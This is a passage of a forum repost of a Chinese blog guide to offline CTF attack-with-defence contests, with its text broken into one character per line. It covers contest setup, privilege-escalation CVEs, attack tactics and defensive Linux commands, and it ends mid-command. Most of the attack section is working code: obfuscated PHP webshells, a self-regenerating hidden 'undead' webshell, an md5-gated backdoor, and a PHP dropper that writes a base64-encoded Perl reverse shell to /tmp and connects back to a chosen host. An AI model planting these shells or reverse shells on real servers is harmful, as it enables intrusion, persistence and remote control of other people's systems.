论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[18476] 2019-05-31_CTF线下AWD经验总结
文档创建者:
s7ckTeam
浏览次数:
7
最后更新:
2025-01-18
IOT
7 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2019-05-31_CTF线下AWD经验总结
C
T
F
线
下
A
W
D
经
验
总
结
E
D
W
A
R
D
'
s
B
l
o
g
H
A
C
K
学
习
呀
2
0
1
9
-
0
5
-
3
1
简
介
简
介
随
着
C
T
F
的
普
及
,
比
赛
的
形
式
也
有
了
越
来
越
多
的
花
样
,
对
于
线
下
赛
来
说
,
常
见
为
A
W
D
:
A
t
t
a
c
k
W
i
t
h
D
e
f
e
n
c
e
+
公
共
高
地
、
内
网
渗
透
等
形
式
。
由
于
前
段
时
间
准
备
线
下
赛
时
,
看
了
许
多
大
佬
们
总
结
的
套
路
,
他
们
各
种
骚
操
作
让
我
学
到
了
许
多
,
所
以
就
想
把
几
篇
我
觉
得
比
较
好
的
总
结
一
下
,
一
来
方
便
自
己
比
赛
前
回
顾
一
下
,
二
来
跟
大
家
分
享
,
希
望
能
对
各
位
C
T
F
朋
友
们
有
所
帮
助
。
之
后
如
果
学
到
什
么
新
姿
势
,
我
有
时
间
也
会
u
p
d
a
t
e
上
来
和
大
家
分
享
:
)
何
为
何
为
A
W
D
比
赛
中
每
个
队
伍
维
护
多
台
服
务
器
,
服
务
器
中
存
在
多
个
漏
洞
,
利
用
漏
洞
攻
击
其
他
队
伍
可
以
进
行
得
分
,
修
复
漏
洞
可
以
避
免
被
其
他
队
伍
攻
击
失
分
。
一
般
分
配
W
e
b
服
务
器
,
服
务
器
(
多
数
为
L
i
n
u
x
)
某
处
存
在
f
l
a
g
(
一
般
在
根
目
录
下
)
可
能
会
提
供
一
台
流
量
分
析
虚
拟
机
,
可
以
下
载
流
量
文
件
进
行
数
据
分
析
;
f
l
a
g
在
主
办
方
的
设
定
下
每
隔
一
定
时
间
刷
新
一
轮
各
队
一
般
都
有
自
己
的
初
始
分
数
f
l
a
g
一
旦
被
其
他
队
伍
拿
走
,
该
队
扣
除
一
定
积
分
扣
除
的
积
分
由
获
取
f
l
a
g
的
队
伍
均
分
主
办
方
会
对
每
个
队
伍
的
服
务
进
行
c
h
e
c
k
,
服
务
宕
机
扣
除
本
轮
f
l
a
g
分
数
,
扣
除
的
分
值
由
服
务
c
h
e
c
k
正
常
的
队
伍
均
分
一
般
每
个
队
伍
会
给
一
个
低
权
限
用
户
,
非
r
o
o
t
权
限
具
体
规
则
以
具
体
比
赛
规
则
为
准
,
但
一
般
大
同
小
异
网
络
环
境
网
络
环
境
网
络
拓
扑
如
下
图
所
示
(
示
例
)
:
首
先
先
理
清
好
网
络
拓
扑
关
系
,
节
点
与
各
链
路
之
间
的
关
联
,
方
便
下
一
步
和
队
友
配
合
,
要
不
然
不
知
道
对
手
在
哪
就
G
G
。
比
赛
分
工
比
赛
分
工
线
下
赛
一
般
3
人
左
右
,
2
人
攻
击
,
1
人
防
御
,
因
为
发
现
的
漏
洞
可
以
攻
击
其
他
队
伍
,
也
要
进
行
修
复
,
所
以
攻
防
相
辅
相
成
,
以
攻
为
守
。
一
般
来
说
,
比
赛
中
每
个
队
伍
需
要
维
护
多
个
靶
机
,
w
e
b
、
二
进
制
等
,
也
可
以
每
人
负
责
一
台
,
各
自
负
责
攻
击
和
防
御
。
套
路
小
结
套
路
小
结
常
规
的
C
T
F
线
下
攻
防
思
路
:
服
务
器
登
录
服
务
器
登
录
一
般
比
赛
都
通
过
s
s
h
连
接
服
务
器
,
拿
到
网
络
拓
扑
图
后
,
和
队
友
进
行
分
工
,
一
个
人
检
查
有
没
有
弱
口
令
(
弱
口
令
的
问
题
几
乎
是
必
考
)
,
有
的
话
对
密
码
进
行
修
改
(
越
复
杂
越
好
,
当
然
前
提
是
自
己
也
方
便
)
。
w
e
b
后
台
也
很
有
可
能
存
在
弱
口
令
,
一
般
都
是
,
,
等
等
,
同
样
需
要
立
即
修
改
,
并
将
情
况
反
馈
给
队
友
,
凭
着
你
的
手
速
修
改
其
他
队
伍
的
后
台
口
令
,
为
本
队
所
用
,
甚
至
有
些
严
重
的
可
以
利
用
后
台
g
e
t
s
h
e
l
l
。
与
此
同
时
,
还
需
要
(
一
定
要
!
必
须
要
!
)
有
人
在
比
赛
开
始
后
第
一
时
间
备
份
服
务
器
中
w
e
b
目
录
下
的
文
件
(
)
。
这
是
自
我
审
计
的
基
础
,
也
是
防
止
服
务
器
在
比
赛
中
出
现
异
常
的
情
况
下
可
以
立
即
恢
复
到
初
始
状
态
的
先
决
条
件
。
有
的
比
赛
可
以
提
供
3
次
左
右
的
恢
复
初
始
设
置
的
机
会
(
但
一
般
会
伴
随
着
扣
分
为
代
价
)
,
有
的
比
赛
不
提
供
,
所
以
备
份
十
分
重
要
。
可
以
用
s
c
p
命
令
,
也
可
用
一
些
图
形
化
的
工
具
:
W
i
n
s
c
p
,
M
o
b
a
X
t
e
r
m
等
,
操
作
起
来
比
较
方
便
。
接
着
就
是
上
W
A
F
、
文
件
监
控
、
端
口
扫
描
。
将
这
几
个
工
作
分
工
好
,
顺
序
就
像
图
上
。
提
权
提
权
在
A
W
D
中
,
一
般
都
需
要
专
门
防
御
加
固
自
己
服
务
器
的
环
节
,
但
加
固
的
很
多
操
作
都
会
涉
及
到
r
o
o
t
权
限
,
如
果
直
接
给
r
o
o
t
权
限
最
好
,
但
一
般
只
会
给
一
个
普
通
权
限
账
号
,
这
时
候
往
往
就
需
要
给
服
务
器
提
权
了
。
关
于
提
权
,
通
常
我
们
要
根
据
k
e
r
n
e
l
版
本
号
找
到
对
应
的
p
o
c
,
平
时
我
们
可
以
收
集
测
试
一
些
比
较
新
的
提
权
p
o
c
,
以
备
不
时
之
需
。
a
d
m
i
n
/
a
d
m
i
n
a
d
m
i
n
/
1
2
3
4
5
6
t
e
s
t
/
t
e
s
t
/
v
a
r
/
w
w
w
/
h
t
m
l
L
i
n
u
x
_
L
o
c
a
l
_
R
o
o
t
_
E
x
p
l
o
i
t
s
:
这
网
站
收
集
了
许
多
l
i
n
u
x
本
地
提
权
的
p
o
c
。
l
i
n
u
x
-
k
e
r
n
e
l
-
e
x
p
l
o
i
t
s
(
g
i
t
h
u
b
)
:
一
个
挺
全
的
提
权
e
x
p
项
目
,
收
集
了
0
4
年
至
今
的
e
x
p
,
并
按
年
份
和
C
V
E
归
类
下
面
分
享
几
个
最
近
两
年
并
且
影
响
范
围
比
较
大
的
:
C
V
E
-
2
0
1
7
-
6
0
7
4
(
D
C
C
P
双
重
释
放
漏
洞
>
2
.
6
.
1
8
)
:
D
C
C
P
双
重
释
放
漏
洞
可
允
许
本
地
低
权
限
用
户
修
改
L
i
n
u
x
内
核
内
存
,
导
致
拒
绝
服
务
(
系
统
崩
溃
)
或
者
提
升
权
限
,
获
得
系
统
的
管
理
访
问
权
限
C
V
E
-
2
0
1
6
-
5
1
9
5
(
脏
牛
,
k
e
r
n
e
l
2
.
6
.
2
2
<
3
.
9
(
x
8
6
/
x
6
4
)
)
:
低
权
限
用
户
可
修
改
r
o
o
t
用
户
创
建
的
文
件
内
容
,
如
修
改
/
e
t
c
/
p
a
s
s
w
d
,
把
当
前
用
户
的
u
i
d
改
成
0
即
可
提
升
为
r
o
o
t
权
限
C
V
E
-
2
0
1
6
-
8
6
5
5
(
U
b
u
n
t
u
1
2
.
0
4
、
1
4
.
0
4
,
D
e
b
i
a
n
7
、
8
)
:
条
件
竞
争
漏
洞
,
可
以
让
低
权
限
的
进
程
获
得
内
核
代
码
执
行
权
限
P
O
C
:
h
t
t
p
s
:
/
/
w
w
w
.
s
e
e
b
u
g
.
o
r
g
/
v
u
l
d
b
/
s
s
v
i
d
-
9
2
5
6
7
C
V
E
-
2
0
1
7
-
1
0
0
0
3
6
7
(
s
u
d
o
本
地
提
权
漏
洞
)
:
L
i
n
u
x
K
e
r
n
e
l
S
t
a
c
k
C
l
a
s
h
安
全
漏
洞
。
该
漏
洞
是
由
于
操
作
系
统
内
存
管
理
中
的
一
个
堆
栈
冲
突
漏
洞
,
它
影
响
L
i
n
u
x
,
F
r
e
e
B
S
D
和
O
p
e
n
B
S
D
,
N
e
t
B
S
D
,
S
o
l
a
r
i
s
,
i
3
8
6
和
A
M
D
6
4
,
攻
击
者
可
以
利
用
它
破
坏
内
存
并
执
行
任
意
代
码
。
C
V
E
-
2
0
1
6
-
1
2
4
7
(
N
g
i
n
x
权
限
提
升
漏
洞
)
:
N
g
i
n
x
服
务
在
创
建
l
o
g
目
录
时
使
用
了
不
安
全
的
权
限
设
置
,
可
造
成
本
地
权
限
提
升
,
恶
意
攻
击
者
能
够
借
此
实
现
从
n
g
i
n
x
/
w
e
b
的
用
户
权
限
w
w
w
-
d
a
t
a
到
r
o
o
t
用
户
权
限
的
提
升
。
P
O
C
:
h
t
t
p
s
:
/
/
l
e
g
a
l
h
a
c
k
e
r
s
.
c
o
m
/
a
d
v
i
s
o
r
i
e
s
/
N
g
i
n
x
-
E
x
p
l
o
i
t
-
D
e
b
-
R
o
o
t
-
P
r
i
v
E
s
c
-
C
V
E
-
2
0
1
6
-
1
2
4
7
.
h
t
m
l
我
收
集
了
一
些
提
权
的
脚
本
工
具
集
,
可
作
参
考
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
e
d
w
a
r
d
c
h
o
i
j
c
/
c
t
f
-
t
o
o
l
k
i
t
/
L
i
n
u
x
/
g
e
t
R
O
O
T
H
o
w
t
o
A
t
t
a
c
k
主
机
发
现
主
机
发
现
如
果
是
在
同
个
C
段
,
或
者
B
段
,
均
可
以
使
用
扫
描
器
进
行
扫
描
得
出
。
还
要
记
得
扫
端
口
,
这
很
重
要
,
当
然
这
个
端
口
扫
描
是
建
立
在
没
有
自
己
靶
机
权
限
的
情
况
下
。
用
n
m
a
p
也
行
,
自
己
写
的
脚
本
或
者
网
上
找
的
也
行
。
找
预
留
后
门
找
预
留
后
门
有
的
比
赛
环
境
,
为
了
照
顾
比
较
菜
的
选
手
,
预
留
了
一
句
话
后
门
,
可
以
利
用
这
个
漏
洞
迅
速
打
一
波
,
还
可
以
视
情
况
“
搅
屎
”
,
利
用
这
个
漏
洞
一
直
维
持
权
限
,
每
轮
都
得
分
。
将
整
个
w
e
b
目
录
下
载
到
本
地
,
使
用
h
m
.
e
x
e
、
D
盾
或
者
别
的
扫
描
工
具
可
以
扫
描
得
出
(
如
果
预
留
)
发
现
后
门
后
,
第
一
时
间
删
除
,
同
时
利
用
这
个
漏
洞
发
起
第
一
波
攻
击
,
如
果
利
用
菜
刀
连
,
显
然
不
够
优
雅
,
还
没
连
完
,
人
家
估
计
都
删
的
差
不
多
了
,
因
此
这
个
漏
洞
虽
然
是
送
分
,
但
拼
的
是
手
速
,
因
此
得
提
前
准
备
好
脚
本
代
码
审
计
代
码
审
计
代
码
审
计
是
攻
防
一
体
的
工
作
,
当
发
现
漏
洞
时
,
修
补
的
同
时
跟
进
攻
的
队
友
商
讨
如
何
利
用
一
句
话
木
马
一
句
话
木
马
控
制
用
的
一
句
话
木
马
,
最
好
是
需
要
菜
刀
配
置
的
,
这
样
做
是
为
了
不
让
别
人
轻
易
的
利
用
你
的
一
句
话
,
要
不
然
就
只
能
等
着
别
人
用
你
的
脚
本
捡
分
。
比
较
好
的
一
句
话
:
配
置
为
1
2
3
4
5
<
?
p
h
p
$
s
F
=
"
P
C
T
4
B
A
6
O
D
S
E
_
"
;
$
s
2
1
=
s
t
r
t
o
l
o
w
e
r
(
$
s
F
[
4
]
.
$
s
F
[
5
]
.
$
s
F
[
9
]
.
$
s
F
[
1
0
]
.
$
s
F
[
6
]
.
$
s
F
[
3
]
.
$
s
F
[
1
1
]
.
$
s
F
[
8
]
.
$
s
F
[
1
0
]
.
$
s
F
[
1
]
.
$
s
F
[
7
]
.
$
s
F
[
8
]
.
$
s
F
[
1
0
]
)
;
$
s
2
2
=
$
{
s
t
r
t
o
u
p
p
e
r
(
$
s
F
[
1
1
]
.
$
s
F
[
0
]
.
$
s
F
[
7
]
.
$
s
F
[
9
]
.
$
s
F
[
2
]
)
}
[
'
n
9
8
5
d
e
9
'
]
;
i
f
(
i
s
s
e
t
(
$
s
2
2
)
)
{
e
v
a
l
(
$
s
2
1
(
$
s
2
2
)
)
;
}
?
>
配
置
为
<
?
p
h
p
$
a
=
c
h
r
(
9
6
^
5
)
;
$
b
=
c
h
r
(
5
7
^
7
9
)
;
$
c
=
c
h
r
(
1
5
^
1
1
0
)
;
$
d
=
c
h
r
(
5
8
^
8
6
)
;
$
e
=
'
(
$
_
R
E
Q
U
E
S
T
[
C
]
)
'
;
@
a
s
s
e
r
t
(
$
a
.
$
b
.
$
c
.
$
d
.
$
e
)
;
?
>
?
b
=
)
)
9
9
(
r
h
C
(
t
s
e
u
q
e
R
+
l
a
v
e
n
9
8
5
d
e
9
=
Q
G
V
2
Y
W
w
o
J
F
9
Q
T
1
N
U
W
z
B
d
K
T
s
=
,
连
接
密
码
为
(
数
字
)
单
个
文
件
批
量
上
传
单
个
文
件
批
量
上
传
当
我
们
通
过
某
个
漏
洞
批
量
上
传
了
很
多
的
w
e
b
s
h
e
l
l
后
,
可
能
想
要
批
量
传
个
后
门
以
备
后
用
。
这
时
我
们
可
以
通
过
用
脚
本
批
量
上
传
来
提
高
效
率
:
b
a
t
c
h
_
u
p
l
o
a
d
_
f
i
l
e
权
限
维
持
权
限
维
持
上
面
说
到
利
用
预
留
后
门
可
以
维
持
权
限
,
主
要
有
两
种
,
一
种
是
“
不
死
马
”
,
另
一
种
是
反
弹
s
h
e
l
l
“
不
死
马
”
1
2
3
4
5
6
7
8
9
1
0
1
1
1
2
1
3
1
4
1
5
<
?
p
h
p
s
e
t
_
t
i
m
e
_
l
i
m
i
t
(
0
)
;
i
g
n
o
r
e
_
u
s
e
r
_
a
b
o
r
t
(
t
r
u
e
)
;
$
f
i
l
e
=
'
.
d
e
m
o
.
p
h
p
'
;
$
s
h
e
l
l
=
"
<
?
p
h
p
$
_
h
R
=
c
h
r
(
9
9
)
.
c
h
r
(
1
0
4
)
.
c
h
r
(
1
1
4
)
;
$
_
c
C
=
$
_
h
R
(
1
0
1
)
.
$
_
h
R
(
1
1
8
)
.
$
_
h
R
(
9
7
)
.
$
_
h
R
(
1
0
8
)
.
$
_
h
R
(
4
0
)
.
$
_
h
R
(
3
6
)
.
$
_
h
R
(
9
5
)
.
$
_
h
R
(
8
0
)
.
$
_
h
R
(
7
9
)
.
$
_
h
R
(
8
3
)
.
$
_
h
R
(
8
4
)
.
$
_
h
R
(
9
1
)
.
$
_
h
R
(
4
9
)
.
$
_
h
R
(
9
3
)
.
$
_
h
R
(
4
1
)
.
$
_
h
R
(
5
9
)
;
$
_
f
F
=
$
_
h
R
(
9
9
)
.
$
_
h
R
(
1
1
4
)
.
$
_
h
R
(
1
0
1
)
.
$
_
h
R
(
9
7
)
.
$
_
h
R
(
1
1
6
)
.
$
_
h
R
(
1
0
1
)
.
$
_
h
R
(
9
5
)
.
$
_
h
R
(
1
0
2
)
.
$
_
h
R
(
1
1
7
)
.
$
_
h
R
(
1
1
0
)
.
$
_
h
R
(
9
9
)
.
$
_
h
R
(
1
1
6
)
.
$
_
h
R
(
1
0
5
)
.
$
_
h
R
(
1
1
1
)
.
$
_
h
R
(
1
1
0
)
;
$
_
=
$
_
f
F
(
"
"
,
$
_
c
C
)
;
@
$
_
(
)
;
?
>
"
;
/
/
$
_
h
R
=
'
c
h
r
'
/
/
$
_
c
C
=
'
e
v
a
l
(
$
_
P
O
S
T
[
1
]
)
;
'
/
/
$
_
f
F
=
'
c
r
e
a
t
e
_
f
u
n
c
t
i
o
n
'
w
h
i
l
e
(
t
r
u
e
)
{
f
i
l
e
_
p
u
t
_
c
o
n
t
e
n
t
s
(
$
f
i
l
e
,
$
s
h
e
l
l
)
;
s
y
s
t
e
m
(
'
c
h
m
o
d
7
7
7
.
d
e
m
o
.
p
h
p
'
)
;
t
o
u
c
h
(
"
.
d
e
m
o
.
p
h
p
"
,
m
k
t
i
m
e
(
1
1
,
1
1
,
1
1
,
1
1
,
1
1
,
2
0
1
8
)
)
;
u
s
l
e
e
p
(
5
0
)
;
}
?
>
利
用
预
留
后
门
,
上
传
上
面
的
“
不
死
马
”
并
访
问
,
就
会
一
直
生
成
的
一
句
话
木
马
,
木
马
内
容
可
以
自
行
修
改
,
只
要
别
被
其
他
队
伍
看
懂
就
行
。
文
件
名
前
加
一
个
点
,
能
更
好
地
隐
藏
文
件
想
要
结
束
这
个
进
程
,
除
了
最
暴
力
的
重
启
服
务
之
外
,
更
为
优
雅
的
如
下
:
先
查
看
进
程
,
查
看
对
应
的
p
i
d
,
再
执
行
即
可
。
n
9
8
5
d
e
9
=
Q
G
V
2
Y
W
w
o
J
F
9
Q
T
1
N
U
W
z
B
d
K
T
s
=
0
.
d
e
m
o
.
p
h
p
<
?
p
h
p
w
h
i
l
e
(
1
)
{
$
p
i
d
=
1
2
3
4
;
@
u
n
l
i
n
k
(
'
.
d
e
m
o
.
p
h
p
'
)
;
e
x
e
c
(
'
k
i
l
l
-
9
$
p
i
d
'
)
;
}
?
>
m
d
5
马
+
h
e
a
d
e
r
1
2
3
4
5
6
7
8
<
?
p
h
p
e
c
h
o
'
h
e
l
l
o
'
;
i
f
(
m
d
5
(
$
_
P
O
S
T
[
'
p
a
s
s
'
]
)
=
=
'
d
8
d
1
a
1
e
f
e
0
1
3
4
e
2
5
3
0
f
5
0
3
0
2
8
a
8
2
5
2
5
3
'
)
i
f
(
@
$
_
S
E
R
V
E
R
[
'
H
T
T
P
_
U
S
E
R
_
A
G
E
N
T
'
]
=
=
'
f
l
a
g
'
)
{
$
t
e
s
t
=
'
f
l
a
g
'
;
h
e
a
d
e
r
(
"
f
l
a
g
:
$
t
e
s
t
"
)
;
}
?
>
放
进
效
果
最
好
,
因
为
一
般
很
少
人
去
看
这
个
。
反
弹
s
h
e
l
l
1
2
3
4
5
6
7
8
9
1
0
1
1
1
2
1
3
1
4
1
5
1
6
1
7
1
8
1
9
2
0
2
1
2
2
2
3
2
4
2
5
2
6
2
7
2
8
2
9
3
0
3
1
3
2
3
3
3
4
3
5
3
6
3
7
3
8
3
9
4
0
4
1
4
2
<
?
p
h
p
f
u
n
c
t
i
o
n
w
h
i
c
h
(
$
p
r
)
{
$
p
a
t
h
=
e
x
e
c
u
t
e
(
"
w
h
i
c
h
$
p
r
"
)
;
r
e
t
u
r
n
(
$
p
a
t
h
?
$
p
a
t
h
:
$
p
r
)
;
}
f
u
n
c
t
i
o
n
e
x
e
c
u
t
e
(
$
c
f
e
)
{
$
r
e
s
=
'
'
;
i
f
(
$
c
f
e
)
{
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
e
x
e
c
'
)
)
{
@
e
x
e
c
(
$
c
f
e
,
$
r
e
s
)
;
$
r
e
s
=
j
o
i
n
(
"
n
"
,
$
r
e
s
)
;
}
e
l
s
e
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
s
h
e
l
l
_
e
x
e
c
'
)
)
{
$
r
e
s
=
@
s
h
e
l
l
_
e
x
e
c
(
$
c
f
e
)
;
}
e
l
s
e
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
s
y
s
t
e
m
'
)
)
{
@
o
b
_
s
t
a
r
t
(
)
;
@
s
y
s
t
e
m
(
$
c
f
e
)
;
$
r
e
s
=
@
o
b
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
;
@
o
b
_
e
n
d
_
c
l
e
a
n
(
)
;
}
e
l
s
e
i
f
(
f
u
n
c
t
i
o
n
_
e
x
i
s
t
s
(
'
p
a
s
s
t
h
r
u
'
)
)
{
@
o
b
_
s
t
a
r
t
(
)
;
@
p
a
s
s
t
h
r
u
(
$
c
f
e
)
;
$
r
e
s
=
@
o
b
_
g
e
t
_
c
o
n
t
e
n
t
s
(
)
;
@
o
b
_
e
n
d
_
c
l
e
a
n
(
)
;
}
e
l
s
e
i
f
(
@
i
s
_
r
e
s
o
u
r
c
e
(
$
f
=
@
p
o
p
e
n
(
$
c
f
e
,
"
r
"
)
)
)
{
$
r
e
s
=
'
'
;
w
h
i
l
e
(
!
@
f
e
o
f
(
$
f
)
)
{
$
r
e
s
.
=
@
f
r
e
a
d
(
$
f
,
1
0
2
4
)
;
}
@
p
c
l
o
s
e
(
$
f
)
;
}
}
r
e
t
u
r
n
$
r
e
s
;
}
f
u
n
c
t
i
o
n
c
f
(
$
f
n
a
m
e
,
$
t
e
x
t
)
{
i
f
(
$
f
p
=
@
f
o
p
e
n
(
$
f
n
a
m
e
,
'
w
'
)
)
{
@
f
p
u
t
s
(
$
f
p
,
@
b
a
s
e
6
4
_
d
e
c
o
d
e
(
$
t
e
x
t
)
)
;
@
f
c
l
o
s
e
(
$
f
p
)
;
}
c
o
n
f
i
g
.
p
h
p
4
2
4
3
4
4
4
5
4
6
4
7
4
8
4
9
5
0
5
1
5
2
5
3
5
4
5
5
5
6
5
7
5
8
5
9
6
0
6
1
6
2
6
3
6
4
6
5
6
6
6
7
6
8
6
9
7
0
7
1
7
2
7
3
}
}
$
y
o
u
r
i
p
=
"
1
2
7
.
0
.
0
.
1
"
;
$
y
o
u
r
p
o
r
t
=
'
9
9
9
9
'
;
$
u
s
e
d
b
=
a
r
r
a
y
(
'
p
e
r
l
'
=
>
'
p
e
r
l
'
,
'
c
'
=
>
'
c
'
)
;
$
b
a
c
k
_
c
o
n
n
e
c
t
=
"
I
y
E
v
d
X
N
y
L
2
J
p
b
i
9
w
Z
X
J
s
D
Q
p
1
c
2
U
g
U
2
9
j
a
2
V
0
O
w
0
K
J
G
N
t
Z
D
0
g
I
m
x
5
b
n
g
i
O
w
0
K
J
H
N
5
c
3
R
l
b
T
0
g
J
2
V
j
a
G
8
g
I
m
B
1
b
m
F
t
Z
S
A
t
Y
W
A
i
O
2
V
j
a
G
8
g
I
m
B
p
Z
G
A
i
O
y
9
i
a
W
4
v
c
2
g
n
O
w
0
K
J
D
A
9
J
G
N
t
Z
D
s
N
C
i
R
0
Y
X
J
n
Z
X
Q
9
J
E
F
S
R
1
Z
b
M
F
0
7
D
Q
o
k
c
G
9
y
d
D
0
k
Q
V
J
H
V
l
s
x
X
T
s
N
C
i
R
p
Y
W
R
k
c
j
1
p
b
m
V
0
X
2
F
0
b
2
4
o
J
H
R
h
c
m
d
l
d
C
k
g
f
H
w
g
Z
G
l
l
K
C
J
F
c
n
J
v
c
j
o
g
J
C
F
c
b
i
I
p
O
w
0
K
J
H
B
h
Z
G
R
y
P
X
N
v
Y
2
t
h
Z
G
R
y
X
2
l
u
K
C
R
w
b
3
J
0
L
C
A
k
a
W
F
k
Z
H
I
p
I
H
x
8
I
G
R
p
Z
S
g
i
R
X
J
y
b
3
I
6
I
C
Q
h
X
G
4
i
K
T
s
N
C
i
R
w
c
m
9
0
b
z
1
n
Z
X
R
w
c
m
9
0
b
2
J
5
b
m
F
t
Z
S
g
n
d
G
N
w
J
y
k
7
D
Q
p
z
b
2
N
r
Z
X
Q
o
U
0
9
D
S
0
V
U
L
C
B
Q
R
l
9
J
T
k
V
U
L
C
B
T
T
0
N
L
X
1
N
U
U
k
V
B
T
S
w
g
J
H
B
y
b
3
R
v
K
S
B
8
f
C
B
k
a
W
U
o
I
k
V
y
c
m
9
y
O
i
A
k
I
V
x
u
I
i
k
7
D
Q
p
j
b
2
5
u
Z
W
N
0
K
F
N
P
Q
0
t
F
V
C
w
g
J
H
B
h
Z
G
R
y
K
S
B
8
f
C
B
k
a
W
U
o
I
k
V
y
c
m
9
y
O
i
A
k
I
V
x
u
I
i
k
7
D
Q
p
v
c
G
V
u
K
F
N
U
R
E
l
O
L
C
A
i
P
i
Z
T
T
0
N
L
R
V
Q
i
K
T
s
N
C
m
9
w
Z
W
4
o
U
1
R
E
T
1
V
U
L
C
A
i
P
i
Z
T
T
0
N
L
R
V
Q
i
K
T
s
N
C
m
9
w
Z
W
4
o
U
1
R
E
R
V
J
S
L
C
A
i
P
i
Z
T
T
0
N
L
R
V
Q
i
K
T
s
N
C
n
N
5
c
3
R
l
b
S
g
k
c
3
l
z
d
G
V
t
K
T
s
N
C
m
N
s
b
3
N
l
K
F
N
U
R
E
l
O
K
T
s
N
C
m
N
s
b
3
N
l
K
F
N
U
R
E
9
V
V
C
k
7
D
Q
p
j
b
G
9
z
Z
S
h
T
V
E
R
F
U
l
I
p
O
w
=
=
"
;
/
*
b
a
s
e
6
4
加
密
内
容
如
下
:
#
!
/
u
s
r
/
b
i
n
/
p
e
r
l
u
s
e
S
o
c
k
e
t
;
$
c
m
d
=
"
l
y
n
x
"
;
$
s
y
s
t
e
m
=
'
e
c
h
o
"
`
u
n
a
m
e
-
a
`
"
;
e
c
h
o
"
`
i
d
`
"
;
/
b
i
n
/
s
h
'
;
$
0
=
$
c
m
d
;
$
t
a
r
g
e
t
=
$
A
R
G
V
[
0
]
;
$
p
o
r
t
=
$
A
R
G
V
[
1
]
;
$
i
a
d
d
r
=
i
n
e
t
_
a
t
o
n
(
$
t
a
r
g
e
t
)
|
|
d
i
e
(
"
E
r
r
o
r
:
$
!
n
"
)
;
$
p
a
d
d
r
=
s
o
c
k
a
d
d
r
_
i
n
(
$
p
o
r
t
,
$
i
a
d
d
r
)
|
|
d
i
e
(
"
E
r
r
o
r
:
$
!
n
"
)
;
$
p
r
o
t
o
=
g
e
t
p
r
o
t
o
b
y
n
a
m
e
(
'
t
c
p
'
)
;
s
o
c
k
e
t
(
S
O
C
K
E
T
,
P
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
,
$
p
r
o
t
o
)
|
|
d
i
e
(
"
E
r
r
o
r
:
$
!
n
"
)
;
c
o
n
n
e
c
t
(
S
O
C
K
E
T
,
$
p
a
d
d
r
)
|
|
d
i
e
(
"
E
r
r
o
r
:
$
!
n
"
)
;
o
p
e
n
(
S
T
D
I
N
,
"
>
&
S
O
C
K
E
T
"
)
;
o
p
e
n
(
S
T
D
O
U
T
,
"
>
&
S
O
C
K
E
T
"
)
;
o
p
e
n
(
S
T
D
E
R
R
,
"
>
&
S
O
C
K
E
T
"
)
;
s
y
s
t
e
m
(
$
s
y
s
t
e
m
)
;
c
l
o
s
e
(
S
T
D
I
N
)
;
c
l
o
s
e
(
S
T
D
O
U
T
)
;
c
l
o
s
e
(
S
T
D
E
R
R
)
;
*
/
c
f
(
'
/
t
m
p
/
.
b
c
'
,
$
b
a
c
k
_
c
o
n
n
e
c
t
)
;
$
r
e
s
=
e
x
e
c
u
t
e
(
w
h
i
c
h
(
'
p
e
r
l
'
)
.
"
/
t
m
p
/
.
b
c
$
y
o
u
r
i
p
$
y
o
u
r
p
o
r
t
&
"
)
;
?
>
利
用
预
留
后
门
上
传
上
面
的
p
h
p
文
件
并
访
问
,
就
可
以
用
n
c
反
弹
s
h
e
l
l
,
之
后
就
可
以
一
直
得
分
了
H
o
w
t
o
D
e
f
e
n
d
常
用
命
令
常
用
命
令
我
们
先
总
结
一
下
线
下
赛
的
防
护
工
作
中
常
用
的
一
些
命
令
1
2
3
4
5
6
7
8
9
1
0
1
1
1
2
1
3
1
4
1
5
1
6
1
7
1
8
1
9
2
0
2
1
2
2
2
3
2
4
2
5
2
6
2
7
2
8
2
9
3
0
3
1
3
2
3
3
3
4
3
5
3
6
3
7
3
8
3
9
4
0
4
1
4
2
s
s
h
<
-
p
端
口
>
u
s
e
r
n
a
m
e
@
i
p
s
c
p
文
件
路
径
u
s
e
r
n
a
m
e
@
i
p
:
存
放
路
径
c
a
t
/
r
o
o
t
/
.
b
a
s
h
_
h
i
s
t
o
r
y
#
显
示
最
近
登
录
的
5
个
帐
号
l
a
s
t
-
n
5
|
a
w
k
'
{
p
r
i
n
t
$
1
}
'
#
显
示
/
e
t
c
/
p
a
s
s
w
d
的
账
户
c
a
t
/
e
t
c
/
p
a
s
s
w
d
|
a
w
k
-
F
'
:
'
'
{
p
r
i
n
t
$
1
}
'
#
查
看
U
I
D
为
0
的
帐
号
a
w
k
-
F
:
'
{
i
f
(
$
3
=
=
0
)
p
r
i
n
t
$
1
}
'
/
e
t
c
/
p
a
s
s
w
d
#
查
找
7
7
7
的
权
限
的
文
件
f
i
n
d
.
-
n
a
m
e
"
*
.
p
h
p
"
-
p
e
r
m
4
7
7
7
#
查
找
2
4
小
时
内
被
修
改
的
P
H
P
文
件
f
i
n
d
.
/
-
m
t
i
m
e
0
-
n
a
m
e
"
*
.
p
h
p
"
#
查
看
进
程
p
s
a
u
x
|
g
r
e
p
p
i
d
或
者
进
程
名
#
查
看
已
建
立
的
网
络
连
接
及
进
程
n
e
t
s
t
a
t
-
a
n
t
u
l
p
|
g
r
e
p
E
S
T
#
查
看
指
定
端
口
被
哪
个
进
程
占
用
l
s
o
f
-
i
:
端
口
号
或
者
n
e
t
s
t
a
t
-
t
u
n
l
p
|
g
r
e
p
端
口
号
#
结
束
进
程
命
令
k
i
l
l
P
I
D
k
i
l
l
a
l
l
<
进
程
名
>
p
k
i
l
l
<
进
程
名
>
p
k
i
l
l
-
u
用
户
名
#
封
杀
某
个
I
P
或
者
i
p
段
i
p
t
a
b
l
e
s
-
I
I
N
P
U
T
-
s
s
o
u
r
c
e
_
i
p
[
/
m
a
s
k
]
-
j
D
R
O
P
#
禁
止
从
某
个
主
机
s
s
h
远
程
访
问
登
陆
到
本
机
i
p
t
a
b
l
e
-
t
f
i
l
t
e
r
-
A
I
